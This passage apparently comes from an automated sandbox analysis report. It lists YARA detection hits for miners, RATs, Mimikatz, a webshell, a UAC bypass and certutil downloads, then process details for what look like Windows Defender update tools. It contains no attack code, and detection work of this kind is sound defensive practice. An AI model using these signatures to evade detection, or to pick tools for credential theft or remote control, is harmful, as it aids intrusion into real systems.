                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, Author: ThreatConnect Intelligence Research Team
                                                            • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: APT9002Strings, Description: 9002 Identifying Strings, Source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, Author: Seth Hardy
                                                            • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom tool, Source: 00000023.00000003.18326028548.0000015B1ACB0000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18285552638.0000015B1B281000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18341450740.0000015B1B4D3000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 00000023.00000003.18346153630.0000015B1AB4D000.00000004.00000001.sdmp, Author: Cylance
                                                            Antivirus matches:
                                                            • Detection: 0%, Metadefender, Browse
                                                            • Detection: 0%, ReversingLabs
                                                            Reputation:moderate

                                                            Analysis Process: wevtutil.exe PID: 7380 Parent PID: 3224

                                                            General

                                                            Start time:09:39:36
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\wevtutil.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man
                                                            Imagebase:0x7ff684af0000
                                                            File size:291840 bytes
                                                            MD5 hash:C57C1292650B6384903FE6408D412CFA
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate

                                                            Analysis Process: conhost.exe PID: 7116 Parent PID: 7380

                                                            General

                                                            Start time:09:39:36
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff771f00000
                                                            File size:875008 bytes
                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language

                                                            Analysis Process: wevtutil.exe PID: 6888 Parent PID: 3224

                                                            General

                                                            Start time:09:39:38
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\wevtutil.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll'
                                                            Imagebase:0x7ff684af0000
                                                            File size:291840 bytes
                                                            MD5 hash:C57C1292650B6384903FE6408D412CFA
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language

                                                            Analysis Process: conhost.exe PID: 5224 Parent PID: 6888

                                                            General

                                                            Start time:09:39:38
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff771f00000
                                                            File size:875008 bytes
                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language

                                                            Analysis Process: mpam-f54ed867.exe PID: 4540 Parent PID: 7216

                                                            General

                                                            Start time:09:39:47
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe
                                                            Imagebase:0x7ff683680000
                                                            File size:7855240 bytes
                                                            MD5 hash:34B7B3BDFA61E18D3B2C3B0AC92B78EF
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language

                                                            Analysis Process: MpSigStub.exe PID: 7540 Parent PID: 4540

                                                            General

                                                            Start time:09:39:52
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe /stub 1.1.18500.10 /payload 4.18.2109.6 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe
                                                            Imagebase:0x7ff650ce0000
                                                            File size:803176 bytes
                                                            MD5 hash:01F92DC7A766FF783AE7AF40FD0334FB
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language

                                                            Disassembly

                                                            Code Analysis

                                                            Reset < >